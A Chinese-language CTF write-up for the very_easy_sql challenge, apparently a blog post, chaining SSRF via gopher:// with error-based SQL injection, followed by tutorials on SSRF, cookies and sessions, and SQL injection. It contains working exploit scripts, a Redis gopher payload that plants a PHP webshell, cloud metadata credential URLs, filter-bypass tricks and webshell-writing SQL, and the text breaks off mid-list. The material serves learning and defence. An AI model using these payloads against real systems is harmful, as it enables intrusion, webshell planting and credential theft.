【攻防世界】 WEB | very_easy_sql 详细题解WP

【攻防世界】 WEB | very_easy_sql 详细题解WP

image

打开环境,用sql语句:

uname' and 1=1#
passwd' and 1=1#

用上面sql语句测试无果,Ctrl + U查看源码

image

看到use.php,在URL后面加上/use.php接口看看

image

页面发生变化,根据第一张图知道inner user暗示要使用内网用户才能给你访问的权利

image

这里在url处输入127.0.0.1试试,发现页面发生改变,由于要进入内网才能有访问的权利,这里要用到SSRF的知识,这里先进行解题,SSRF的知识点放在后面,有需要的可以下滑了解

经过绞尽脑汁的FUZZ测试后,发现这道题用的是gopher协议

gopher:// 发送原始 TCP 数据(高级利用) 构造gopher://127.0.0.1:3306/_%23...(向 MySQL 发送恶意 SQL 命令)

编写一个gopher://的脚本来方便解题:

# 导入urllib.parse模块,用于URL编码处理
import urllib.parse

# 定义目标主机和端口
host = "127.0.0.1:80"
# 定义POST请求的表单数据(模拟登录的用户名和密码)
content = "uname=admin&passwd=admin"
# 计算POST数据的长度,用于HTTP头中的Content-Length字段
content_length = len(content)

# 构造完整的POST请求报文(HTTP协议格式)
test =\
"""POST /index.php HTTP/1.1  # HTTP方法为POST,请求路径为/index.php,协议版本1.1
Host: {}  # 目标主机(通过format填充上面定义的host变量)
User-Agent: curl/7.43.0  # 模拟curl的User-Agent头
Accept: */*  # 接受所有类型的响应数据
Content-Type: application/x-www-form-urlencoded  # 表单数据的MIME类型
Content-Length: {}  # POST数据的长度(通过format填充content_length变量)

{}  # POST请求的表单数据(通过format填充content变量)
# """.format(host,content_length,content)  # 用format方法替换占位符,填充host、长度和数据

# 对构造的HTTP报文进行第一次URL编码(将特殊字符转为%XX格式)
tmp = urllib.parse.quote(test)
# 将编码后的换行符%0A(\n)替换为HTTP标准的回车换行%0D%0A(\r\n),避免协议解析错误
new = tmp.replace("%0A","%0D%0A")
# 对处理后的字符串进行第二次URL编码,确保gopher协议能正确解析
result = urllib.parse.quote(new)
# 拼接为gopher协议URL(格式:gopher://主机/_编码后的请求内容),用于SSRF等场景
print("gopher://"+host+"/_"+result)

运行后:

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A%2523%2520

image

可以看到cookie在这,cookie的知识点也放在下面,cookie的格式为:

Set-Cookie: this_is_your_cookie=YWRtaW4%3D

cookie出来后,到这里SSRF算是搞定了,这道题的题目是very_easy_sql接下来才真正到sql的测试,sql注入的知识点也放在下面,又是经过绞尽脑汁的FUzZ测试:

admin'#
admin"#
admin')#
admin")#

image

admin')#有明显报错信息,使用报错注入,报错语句为:

admin') and extractvalue(1,concat(0x7e,database()))#
查到数据库信息
admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
查到table表,表里有flag字段
admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=datatbase() and table_name='flag')))#
查找flag表
admin') and extractvalue(1, concat(0x7e, concat((SELECT flag from flag),32),0x7e)) #
查找flag字段,但是有长度限制,还有另一段flag未显示出来
admin') and extractvalue(1, concat(0x7e, right((SELECT flag from flag),32),0x7e)) #
这样子就完全了

这里也写个脚本方便解题:

# 导入必要模块
import urllib.parse  # 用于URL编码/解码,处理HTTP请求格式
import requests      # 用于发送HTTP请求,与目标服务器交互
import base64        # 用于Base64编码/解码,绕过目标服务器的字符过滤


# 定义核心配置参数
# 目标URL:存在SSRF漏洞的服务器地址,通过该地址触发漏洞
url = 'http://61.147.171.105:61202/use.php'  
# 请求头:模拟Chrome浏览器访问,避免被服务器识别为恶意请求
headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36'
}


# 定义Payload构造函数:生成用于SSRF攻击的Gopher协议链接
def payload(sql):
    # 1. 对SQL注入语句进行Base64编码
    # 目的:绕过服务器对特殊字符(如单引号、括号)的过滤
    sql_b64 = base64.b64encode(sql.encode('utf-8')).decode('utf-8')
    
    # 2. 构造包含注入语句的Cookie
    # 逻辑:将编码后的SQL语句嵌入Cookie,通过HTTP请求传递到目标服务
    cookie = f"this_is_your_cookie={sql_b64}"
    
    # 3. 构造完整的HTTP POST请求报文
    # 细节:模拟向本地80端口发送POST请求,包含Cookie和必要的HTTP头
    request = f'''POST /index.php  HTTP/1.1
Host: 61.147.171.105:61202
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''
    
    # 4. 对HTTP报文进行URL编码,修正换行符格式
    # 原因:HTTP协议要求换行符为\r\n(%0D%0A),而非单纯的\n(%0A)
    request_encoded = urllib.parse.quote(request).replace('%0A', '%0D%0A')
    
    # 5. 构造Gopher协议链接
    # 原理:Gopher协议可模拟HTTP请求,通过SSRF漏洞让目标服务器访问本地80端口(触发内部SQL注入)
    gopher_url = f'gopher://127.0.0.1:80/_{request_encoded}'
    
    return gopher_url  # 返回最终的SSRF攻击链接


# 构造SQL注入语句:通过报错注入(extractvalue)获取数据库信息
# 注:逐个执行以下SQL语句,逐步获取敏感数据

# 1. 获取当前数据库名称
sql1 = "admin') and extractvalue(1,concat(0x7e,database()))#"
# 逻辑:闭合原SQL语句的括号,使用extractvalue函数触发MySQL报错,输出数据库名(0x7e是波浪线~,用于分隔结果)

# 2. 获取当前数据库中的所有表名
sql2 = "admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#"
# 逻辑:查询information_schema.tables,获取当前库下所有表名(group_concat用于合并结果)

# 3. 获取flag表的所有字段名(原语句存在拼写错误:datatbase()→database())
sql3 = "admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')))#"
# 逻辑:查询information_schema.columns,获取flag表的字段结构

# 4. 读取flag表中的flag字段内容
sql4 = "admin') and extractvalue(1, concat(0x7e, concat((SELECT flag from flag),32),0x7e)) #"
# 逻辑:直接查询flag字段,32对应空格ASCII码,用于避免语法错误

# 5. 读取flag字段的后32个字符(绕过extractvalue的长度限制)
sql5 = "admin') and extractvalue(1, concat(0x7e, right((SELECT flag from flag),32),0x7e)) #"
# 逻辑:extractvalue最多返回32位,使用right()函数分段读取长内容


# 执行攻击流程:发送构造好的请求并获取结果
# 选择要执行的SQL注入语句(例如使用sql5)
sql = sql5

# 生成SSRF攻击链接
attack_url = payload(sql)
print("构造的Gopher攻击链接:", attack_url)  # 打印链接用于调试

# 构造GET请求参数:将Gopher链接作为url参数传入目标SSRF接口
params = {'url': attack_url}

# 发送请求,触发SSRF漏洞
response = requests.get(url, params=params, headers=headers)

# 输出响应结果,查看SQL注入的报错信息(包含flag)
print("服务器响应内容:", response.text)

上面的脚本加了详细的注释,进行简化后:

import urllib.parse
import requests
import base64

url = 'http://61.147.171.105:61202/use.php'
headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36'}

def payload(sql):
    sql = base64.b64encode(sql.encode('utf-8')).decode('utf-8')
    cookie = f"this_is_your_cookie={sql}"

    request = \
f'''POST /index.php HTTP/1.1
Host: 61.147.171.105:61202
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''
    
    request_url1 = urllib.parse.quote(request).replace('%0A', '%0D%0A')
    gopher = 'gopher://127.0.0.1:80/_' + request_url1
    return gopher

# sql = "admin') and extractvalue(1,concat(0x7e,database()))#"

# sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#"

# sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=datatbase() and table_name='flag')))#"

sql = "admin') and extractvalue(1, concat(0x7e, concat((SELECT flag from flag),32),0x7e)) #"

# sql = "admin') and extractvalue(1, concat(0x7e, right((SELECT flag from flag),20),0x7e)) #"
pay = payload(sql)
print(pay)
params = {'url':f'{pay}'}

res = requests.get(url, params=params)
print(res.text)

得到flag为:

image

image

cyberpeace{4a4210f759ef372404247240424061b7004ecb5}

image

这道WEB的题目考察的知识点还是挺多的,博主也是花了老长时间(加上写这篇博客好几天吧)来解这道题

一、SSRF知识点:

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造恶意请求,诱导服务器代为发起请求的安全漏洞。其核心危害在于:攻击者可借助服务器的 “信任身份”,访问服务器自身、内网服务或其他受信任资源,突破网络隔离(如防火墙限制),窃取敏感信息或实施进一步攻击。

一、SSRF 的本质与原理

  • 本质:服务器对用户输入的 “URL / 资源地址” 未做严格校验,直接用于发起网络请求(如通过curlfile_get_contents等函数),导致攻击者可控制服务器的请求目标和内容。

  • 原理:

    正常情况下,服务器应仅允许请求公开合法的外部资源;但存在 SSRF 时,攻击者可构造特殊 URL,让服务器 “主动” 访问以下资源:

    • 服务器本地文件(如/etc/passwd/var/www/html/config.php);
    • 内网未暴露的服务(如 192.168.1.1 的 MySQL、Redis、路由器管理界面);
    • 其他受服务器信任的外部服务(如云服务器的元数据服务)。

二、SSRF 的核心危害

  1. 读取本地敏感文件:通过file协议读取服务器配置文件(如数据库账号密码)、系统文件(如/etc/passwd/proc/self/environ)。
  2. 探测内网服务与端口:扫描内网存活主机、开放端口(如http://192.168.0.1:8080),获取内网拓扑或未公开服务信息。
  3. 攻击内网应用:利用内网服务漏洞(如 Redis 未授权访问、MySQL 弱口令),通过 SSRF 发送恶意请求(如 Redis 写后门)。
  4. 突破网络隔离:访问防火墙 / ACL 限制的资源(如仅允许服务器访问的内网 API、云服务元数据接口http://169.254.169.254)。

三、SSRF 漏洞的利用方法(实战角度)

SSRF 的利用需结合服务器支持的协议、内部网络环境及目标服务特性,核心方法可分为以下几类:

1. 利用不同协议访问本地 / 内网资源

服务器处理 URL 时可能支持多种协议,攻击者可通过协议类型控制请求目标:

协议 作用 实战案例
file:// 读取本地文件(支持绝对路径) file:///etc/passwd(Linux 系统用户列表);file:///C:/Windows/system32/drivers/etc/hosts(Windows 主机文件)
http:// 访问 HTTP 服务(本地 / 内网) http://127.0.0.1:8080(探测本地 8080 端口服务);http://192.168.1.1/admin(访问内网管理页面)
https:// 访问 HTTPS 服务 https://10.0.0.1:443(探测内网 HTTPS 服务)
ftp:// 访问 FTP 服务 ftp://127.0.0.1(连接本地 FTP 服务,获取文件列表)
gopher:// 发送原始 TCP 数据(高级利用) 构造gopher://127.0.0.1:3306/_%23...(向 MySQL 发送恶意 SQL 命令)
dict:// 访问字典服务(探测端口 / 信息) dict://127.0.0.1:6379/info(获取 Redis 服务信息)

2. 探测内网服务与端口扫描

服务器作为 “跳板”,可扫描内网存活主机和开放端口,获取攻击目标:

  • 原理:通过发送http://[内网IP]:[端口],根据服务器返回的 “超时”“连接拒绝”“200 OK” 等状态,判断端口是否开放。

  • 实战案例:

    若内网存在

    192.168.1.0/24网段,可构造

    url=http://192.168.1.1:80
    
    url=http://192.168.1.2:3306
    

    等等,通过响应时间或内容判断:

    • 若返回 “200 OK”:端口开放且有服务响应(如 Web 服务);
    • 若返回 “Connection refused”:端口关闭;
    • 若超时:可能被防火墙拦截或主机未存活。

3. 攻击内网应用组件(结合其他漏洞)

SSRF 可配合内网服务漏洞(如未授权访问、命令执行)发起攻击,典型场景:

  • 攻击 Redis(6379 端口)
    若内网 Redis 未授权访问,可通过gopher协议发送 Redis 命令,写入后门文件到 Web 目录(如/var/www/html):
    构造gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0a%3c%3fphp%20eval%28%24_%5b%27cmd%27%5d%29%3b%3f%3e%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a,服务器执行后会在/var/www/html生成shell.php后门。
  • 攻击 MySQL(3306 端口)
    若已知 MySQL 账号密码,通过gopher协议发送登录及 SQL 命令,读取数据库敏感信息(如 flag)。
  • 攻击内网 Web 应用
    若内网存在弱口令后台(如http://192.168.1.100/admin),可通过 SSRF 发送登录请求(POST 数据),尝试爆破或利用其漏洞(如文件上传)。

4. 访问云服务元数据(云环境特有)

在 AWS、阿里云、腾讯云等环境中,服务器可通过 “元数据服务” 获取自身配置(如密钥、实例信息),SSRF 可窃取这些敏感数据:

  • AWS 元数据地址:http://169.254.169.254/latest/meta-data/(可获取 IAM 密钥、实例 ID 等);
  • 阿里云元数据地址:http://100.100.100.200/latest/meta-data/
  • 实战案例:构造url=http://169.254.169.254/latest/meta-data/iam/security-credentials/,获取 IAM 角色后进一步控制云资源。

5. 绕过 SSRF 过滤的常见技巧

服务器可能对url参数做过滤(如禁止127.0.0.1localhostfile://协议),需通过以下方式绕过:

  • IP 地址转换
    • 十进制 / 八进制 IP:127.0.0.12130706433(十进制)、017700000001(八进制);
    • 域名绑定:注册localhost.attacker.com(解析到 127.0.0.1);
    • 特殊域名:localhost的变种(如localhost、127.0.0.1.,部分过滤规则可能漏判)。
  • 协议混淆
    • file:////etc/passwd(多斜杠)绕过对file:///的检测;
    • 协议大小写:File:///etc/passwdHTTP://127.0.0.1(绕过小写过滤);
    • 嵌套 URL:http://127.0.0.1@example.com(部分解析器会优先访问127.0.0.1)。
  • 利用跳转绕过
    若服务器允许 302 跳转,可构造外部可控的跳转链接(如http://attacker.com/redirect?url=http://127.0.0.1),服务器先访问attacker.com,再跳转至目标地址,绕过对直接输入内网 IP 的限制。
  • 协议替代
    file://被禁,尝试php://filter(需服务器支持),如php://filter/convert.base64-encode/resource=/etc/passwd(Base64 编码读取文件)。

四、SSRF 的常见触发场景

识别 SSRF 需关注 “服务器代用户发起请求” 的功能,典型场景:

  • URL 分享 / 预览功能(如 “输入 URL 生成预览图”);
  • 远程资源加载(如 “导入远程图片 / 文件”);
  • 在线工具(如 “在线 curl”“在线 ping”);
  • 云存储同步(如 “同步远程服务器文件”)。

常见触发函数(以 PHP 为例):file_get_contents()curl_exec()fopen()readfile()等。

总结

SSRF 的核心利用逻辑是:控制服务器请求目标→借助服务器信任身份→访问敏感资源或攻击内网。实战中需结合目标环境(本地 / 内网 / 云服务)、支持的协议及过滤规则,灵活选择利用方式(文件读取、端口扫描、组件攻击等),其危害程度随服务器权限和内网环境敏感度大幅提升,是 CTF 和实战渗透中的高频高危漏洞。

二、cookie、referer、token、session知识点

在 Web 安全领域,cookie、referer、token、session 是四个核心的身份认证与请求验证机制,它们既保障了 Web 服务的正常交互,也成为攻防对抗的关键节点。以下从定义、作用、攻防利用三个维度详细解析:

定义

Cookie 是服务器发送给客户端(浏览器)的小型文本数据(通常≤4KB),由客户端存储,每次请求同一域名时自动携带。其本质是 “客户端存储的键值对”,格式如:name=value; Expires=...; Path=/

作用

  1. 保持会话状态:用户登录后,服务器生成包含用户身份的 cookie(如user_id=123),客户端后续请求携带该 cookie,服务器无需重复验证登录。
  2. 存储用户偏好:如网站主题(theme=dark)、语言设置(lang=zh-CN)等非敏感信息。
  3. 跟踪用户行为:电商网站用 cookie 记录购物车内容、浏览历史等。

攻防利用

攻击角度
  1. 会话劫持(Session Hijacking)
    • 原理:通过 XSS 漏洞窃取 cookie(如document.cookie),使用窃取的 cookie 伪装成合法用户访问网站。
    • 示例:在存在 XSS 的页面注入脚本alert(document.cookie),获取包含登录状态的 cookie(如PHPSESSID=abc123),用该 cookie 发送请求即可登录用户账号。
  2. cookie 篡改
    • 原理:若服务器未对 cookie 进行签名或加密,攻击者可直接修改 cookie 值绕过权限。
    • 示例:若 cookie 为role=user,篡改为role=admin后,若服务器未验证,可能直接获得管理员权限。
  3. CSRF 攻击辅助
    • 原理:CSRF 攻击中,攻击者诱导用户在已登录状态下发送请求,浏览器会自动携带目标网站的 cookie,使恶意请求被服务器误认为合法。
防御角度
  • 敏感 cookie 添加HttpOnly属性:禁止 JavaScript 读取(防御 XSS 窃取),如Set-Cookie: sessionid=abc; HttpOnly
  • 添加Secure属性:仅在 HTTPS 请求中携带(防止明文传输泄露)。
  • 对 cookie 进行签名 / 加密:如用 HMAC 算法签名,服务器验证签名有效性(防止篡改)。

二、Referer(HTTP Referer)

定义

Referer 是 HTTP 请求头的一个字段,记录当前请求的来源页面 URL。例如:从https://a.com/page1点击链接到https://b.com/page2,则b.com收到的请求头中Referer: https://a.com/page1

作用

  1. 防盗链:图片、视频等资源服务器通过检查 Referer,仅允许特定域名(如自家网站)请求资源,防止其他网站盗用。
  2. 限制访问来源:部分网站的敏感操作(如表单提交、后台登录)会验证 Referer 是否为可信域名,防止跨站请求。
  3. 统计分析:记录用户从哪个页面跳转而来,用于流量分析(如百度统计)。

攻防利用

攻击角度
  1. 伪造 Referer 绕过限制
    • 原理:若服务器仅通过 Referer 验证请求合法性,攻击者可伪造 Referer 头绕过检查。
    • 示例:某网站后台仅允许https://example.com/admin页面提交表单,攻击者可在恶意请求中伪造Referer: https://example.com/admin,绕过来源限制。
  2. 利用 Referer 泄露敏感信息
    • 原理:Referer 可能包含 URL 中的敏感参数(如 SessionID、验证码),若跳转至第三方网站,可能泄露信息。
    • 示例:https://bank.com/transfer?user=123&token=abc跳转至https://evil.comevil.com可通过 Referer 获取token=abc
防御角度
  • 不依赖 Referer 作为唯一验证手段(Referer 可被轻易伪造,且部分浏览器可能不发送 Referer)。
  • 结合其他验证机制(如 token),或仅将 Referer 作为辅助判断。

三、Token(令牌)

定义

Token 是服务器生成的字符串凭证,用于验证请求的合法性。常见类型:CSRF Token、API Token、JWT(JSON Web Token)等,格式通常为随机字符串(如csrf_token=abc123)。

作用

  1. 防止 CSRF 攻击:服务器为每个表单生成唯一 CSRF Token,提交时需携带该 Token,攻击者无法获取合法 Token,故无法构造有效请求。
  2. API 身份验证:第三方应用调用 API 时,需携带服务器分配的 API Token,验证调用者权限。
  3. 无状态会话:JWT 等 Token 包含用户信息(加密),服务器无需存储会话数据,直接解析 Token 即可验证身份(适用于分布式系统)。

攻防利用

攻击角度
  1. 窃取 Token
    • 原理:通过 XSS 漏洞获取页面中的 Token(如表单隐藏域的csrf_token),用于构造合法请求。
    • 示例:在存在 XSS 的页面注入document.querySelector('input[name="csrf_token"]').value,获取 CSRF Token 后发起 CSRF 攻击。
  2. 猜测 / 爆破 Token
    • 原理:若 Token 生成机制不安全(如基于时间戳 + 简单哈希),攻击者可猜测或暴力破解。
    • 示例:Token 为md5(timestamp),攻击者通过爆破时间戳生成可能的 Token。
  3. 重放攻击
    • 原理:若 Token 未设置过期时间,攻击者可重复使用截获的 Token 发起请求。
    • 示例:截获 API 请求中的Authorization: Bearer ,重复发送该请求调用 API。
防御角度
  • Token 需足够随机(如使用random_bytes()生成),避免可预测性。
  • 设置短期过期时间(如 CSRF Token 单次有效,JWT 过期时间设为 15 分钟)。
  • 敏感 Token 存储在服务器(如 CSRF Token 与 Session 绑定),避免客户端篡改。

四、Session(会话)

定义

Session 是服务器为每个用户创建的内存 / 文件 / 数据库中的数据结构,用于存储用户会话信息(如登录状态、权限)。服务器通过Session ID(通常存储在 cookie 中)与客户端关联,格式如:PHPSESSID=abc123(Session ID)→ 服务器中abc123对应的 Session 数据(user_id=123; role=admin)。

作用

  1. 服务器端会话管理:相比 cookie,Session 将敏感信息(如用户权限、购物车详情)存储在服务器,仅通过 Session ID 与客户端交互,更安全。
  2. 临时状态存储:用户登录后,服务器在 Session 中标记is_login=true,后续请求通过 Session ID 验证状态,无需重复登录。

攻防利用

攻击角度
  1. 会话劫持(Session Hijacking)
    • 原理:窃取用户的 Session ID(如通过 XSS 获取 cookie 中的PHPSESSID),使用该 ID 发送请求,服务器会误认为是合法用户。
    • 示例:获取用户的PHPSESSID=abc123后,在浏览器中手动设置该 cookie,即可登录用户账号。
  2. 会话固定(Session Fixation)
    • 原理:攻击者先获取一个合法的 Session ID(如访问网站获取未登录状态的 Session ID),诱导用户使用该 Session ID 登录,登录后攻击者使用同一 ID 即可劫持会话。
    • 示例:攻击者向用户发送链接https://example.com/login?PHPSESSID=evil123,用户用该链接登录后,攻击者用evil123即可访问用户会话。
  3. Session 超时攻击
    • 原理:若 Session 超时时间过长(如 24 小时),攻击者有更多时间利用窃取的 Session ID。
防御角度
  • 登录成功后重新生成 Session ID(防御会话固定)。
  • 设置合理的 Session 超时时间(如 30 分钟无操作自动失效)。
  • Session ID 需足够随机(避免被猜测),并通过HttpOnlySecure属性保护(防止 XSS 窃取和明文传输)。

总结:四者的核心区别与联系

机制 存储位置 核心作用 安全焦点
Cookie 客户端(浏览器) 存储轻量数据,维持会话 防止窃取、篡改
Referer 请求头 标识请求来源 防止伪造来源
Token 客户端 / 请求头 验证请求合法性 防止泄露、重放
Session 服务器端 管理用户会话状态 保护 Session ID 安全

在攻防中,这四个机制常被组合利用(如 Session ID 存于 Cookie,配合 Token 防止 CSRF),理解其原理和弱点是 Web 安全的基础技能。防御的核心原则是:敏感数据不暴露在客户端,关键验证不依赖单一机制,确保随机性和时效性

三、sql注入知识点

SQL 注入深度解析

一、SQL 注入的本质与原理

定义:SQL 注入(SQL Injection)是攻击者通过构造恶意 SQL 语句,利用应用程序对用户输入验证不足的漏洞,使恶意代码被数据库执行的攻击方式。其核心是用户输入未经过滤直接拼接至 SQL 查询语句,导致原始查询逻辑被篡改。

原理(技术底层)

Web 应用与数据库交互时,若使用动态 SQL 拼接(而非参数化查询),则存在注入风险。例如:

// 危险代码:直接拼接用户输入
$uname = $_POST['uname'];
$sql = "SELECT * FROM users WHERE username='$uname'";  // 用户输入可控$uname

当攻击者输入 ' OR '1'='1 时,SQL 语句变为:

SELECT * FROM users WHERE username='' OR '1'='1'  // 条件恒为真,返回所有用户数据

二、SQL 注入的核心类型(按利用场景与技术特征分类)

1. 按注入点数据类型分类

  • 数字型注入:注入点参数为数字(如id=1),无需闭合引号。
    示例:id=1 OR 1=1--+ → 拼接后 SELECT * FROM news WHERE id=1 OR 1=1--+--+注释后续语句)。
  • 字符型注入:注入点参数为字符串(如username='admin'),需用单引号 / 双引号闭合。
    示例:username=admin' OR '1'='1--+ → 拼接后 SELECT * FROM users WHERE username='admin' OR '1'='1--+'

2. 按注入方式与回显特征分类

类型 核心特征 适用场景 CTF / 渗透常用技巧
联合查询注入 利用UNION SELECT拼接查询,直接回显数据(需知字段数) 有数据回显的场景(如搜索结果、登录失败提示) ORDER BY猜字段数 → UNION SELECT 1,2,3定位回显位 → 提取库名 / 表名 / 数据
报错注入 构造错误语句触发数据库报错,从错误信息中提取数据 无直接回显但有错误提示(如mysql_error() MySQL:extractvalue(1,concat(0x7e,database(),0x7e));SQL Server:xp_dirtree '\\xxx\xxx'
布尔盲注 基于查询结果的布尔值(真 / 假)判断数据,无直接回显 仅返回 “存在 / 不存在”“登录成功 / 失败” 等状态 IF(length(database())>5,1,0) → 通过页面差异猜解长度 / 字符
时间盲注 利用sleep()等函数,通过响应时间判断条件是否成立,无任何回显 页面无任何差异(无论注入是否成功均返回相同内容) IF(substr(database(),1,1)='a',sleep(5),0) → 通过延迟判断字符正确性
堆叠注入 用分号;分隔多条 SQL 语句,执行额外命令(如增删改查、写文件) 数据库支持多语句执行(如 MySQL,部分应用禁止) id=1; DROP TABLE users--+ → 删表;id=1; SELECT * INTO OUTFILE '/var/www/shell.php'... → 写后门

3. 按注入点位置分类

  • GET 注入:参数在 URL 中(如?id=1),可直接在 URL 构造 payload。
  • POST 注入:参数在请求体中(如表单提交的uname/passwd),需通过 BurpSuite 等工具修改 POST 数据。
  • Cookie 注入:参数在 Cookie 中(如Cookie: user=1),修改 Cookie 值触发注入。
  • XFF/Referer 注入:参数在 HTTP 头中(如X-Forwarded-For),常用于日志存储类注入。

三、SQL 注入的利用流程(CTF 与渗透测试实战)

阶段 1:信息收集与注入点确认

  • 判断是否存在注入:
    • 数字型:输入id=1',若返回 SQL 语法错误(如You have an error in your SQL syntax),存在注入。
    • 字符型:输入username=admin' and '1'='2,若登录失败(原条件为假),输入admin' or '1'='1登录成功,存在注入。
  • 识别数据库类型:
    • MySQL:支持sleep()extractvalue(),错误信息含MySQL server version
    • SQL Server:支持waitfor delay '0:0:5'xp_cmdshell,错误信息含Microsoft SQL Server
    • Oracle:支持dbms_pipe.receive_message(('a'),5)(延迟),表名含dual

阶段 2:数据提取(核心目标:获取敏感信息)

  • CTF 场景:快速定位 flag(通常在flag表或users表中)。
    示例(MySQL 联合查询):

    ?id=-1 UNION SELECT 1,database(),3--+  # 获取当前库名
    ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+  # 获取当前库所有表
    ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+  # 获取flag表字段
    ?id=-1 UNION SELECT 1,flag,3 FROM flag--+  # 读取flag值
    
  • 渗透测试场景:获取数据库账号密码、系统权限。
    示例:

    • 读取mysql.user表获取管理员哈希:UNION SELECT 1,group_concat(user,0x3a,password),3 FROM mysql.user--+
    • 利用file_priv权限写 Webshell:UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'--+

阶段 3:权限提升与横向移动(渗透测试特有)

  • 数据库层面:
    • MySQL:启用secure_file_priv时可读写文件;通过UDF提权执行系统命令(如select sys_exec('whoami'))。
    • SQL Server:启用xp_cmdshell执行命令(EXEC xp_cmdshell 'ipconfig');利用sp_oacreate调用 COM 组件。
  • 系统层面:通过写入后门文件(如shell.php)控制 Web 服务器,进而横向渗透内网。

四、SQL 注入的防御措施(企业级与开发视角)

1. 代码层防御(核心)

  • 参数化查询(预编译语句):强制将用户输入作为数据而非 SQL 代码解析,从根本上杜绝注入。

    示例(PHP PDO):

    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :uname");  // 预编译
    $stmt->bindParam(':uname', $uname);  // 绑定参数(用户输入仅作为数据)
    $stmt->execute();
    
  • 输入验证:白名单限制输入类型(如数字型仅允许0-9,字符串限制长度和特殊字符)。
    示例:if(!preg_match('/^[0-9]+$/', $id)) die("非法输入");

2. 数据库与系统层防御

  • 最小权限原则:数据库账号仅授予必要权限(如 Web 应用账号无FILE权限、无DROP权限)。
  • 禁用危险功能:MySQL 禁用LOAD_FILEINTO OUTFILE;SQL Server 禁用xp_cmdshellsp_oacreate
  • 错误信息屏蔽:生产环境关闭详细错误提示(如 PHP 的display_errors=Off),避免泄露数据库类型、表结构。

3. 应用层与运维防御

  • WAF 部署:通过 Web 应用防火墙(如 ModSecurity)拦截常见注入 payload(如UNION SELECTsleep()。
  • 定期审计与更新:代码审计工具(如 SonarQube)扫描潜在注入点;及时更新数据库补丁(修复已知注入相关漏洞)。

五、CTF 与渗透测试的核心差异

维度 CTF 工程师视角 高级渗透测试工程师视角
目标 快速获取 flag(单点突破) 完整攻击链(从注入到系统控制,再到内网渗透)
环境 孤立靶场(无防御或弱防御) 真实业务环境(有 WAF、防火墙、日志审计)
技巧侧重 盲注脚本编写、报错注入 payload 创新 绕过 WAF(编码、分段注入)、权限维持、痕迹清理
限制因素 时间限制(需高效利用漏洞) 合规性(避免破坏业务,需精准控制攻击范围)

总结

SQL 注入的本质是 “用户输入与 SQL 语句的非安全拼接”,其利用依赖于数据库特性与应用回显机制。防御的核心是用参数化查询替代动态拼接,辅以输入验证、权限控制和 WAF 防护。无论是 CTF 还是实战渗透,理解数据库语法细节(如系统表结构、函数特性)和应用逻辑(如注入点位置、回显方式)都是突破的关键。

四、本道sql题目的解题思路

从 CTF 实战角度分析,这道 WEB 题包含服务器端请求伪造(SSRF)SQL 注入两大潜在漏洞点,解题需分步骤突破,具体方法如下:

一、漏洞点定位与初步分析

通过页面源码和功能观察,核心攻击面有两个:

1. 第二个表单(URL 输入框):潜在 SSRF 漏洞

  • 功能推测:页面提示 “url you want to curl”,说明服务器会对用户输入的url参数发起请求(类似curl命令),可能使用file_get_contents()curl_exec()等函数处理。
  • 漏洞风险:若对url参数过滤不严,可能存在服务器端请求伪造(SSRF),攻击者可构造特殊 URL 访问服务器本地文件、内部服务或其他敏感资源。

2. 第一个表单(uname/passwd):潜在 SQL 注入漏洞

  • 功能推测:典型的登录表单,提交unamepasswd参数,后端可能存在 SQL 查询(如select * from users where uname='xxx' and passwd='xxx')。
  • 漏洞风险:若参数未经过滤直接拼接 SQL 语句,可能存在SQL 注入漏洞,可通过构造恶意 payload 绕过登录或读取数据库敏感信息(如 flag)。

二、分步解题方法

第一步:利用 SSRF 漏洞探测敏感资源

针对第二个表单的url参数,测试服务器是否允许访问本地文件或内部服务:

  1. 读取本地系统文件
    尝试构造file协议 URL,读取服务器本地文件(Linux 系统常见路径):
    • 提交url=file:///etc/passwd(读取系统用户列表,验证 SSRF 是否存在)
    • 若成功返回root:x:0:0:root:/root:/bin/bash等内容,说明 SSRF 漏洞存在。
  2. 读取网站配置文件
    若 SSRF 可用,进一步读取 Web 应用敏感文件:
    • 网站根目录可能存在flag.php,尝试url=file:///var/www/html/flag.php(Linux 常见 Web 路径)
    • 若存在数据库配置文件(如config.php),可读取数据库账号密码:url=file:///var/www/html/config.php,为后续 SQL 注入做准备。
  3. 探测内部服务
    若目标服务器运行其他服务(如 MySQL、Redis),可通过127.0.0.1访问:
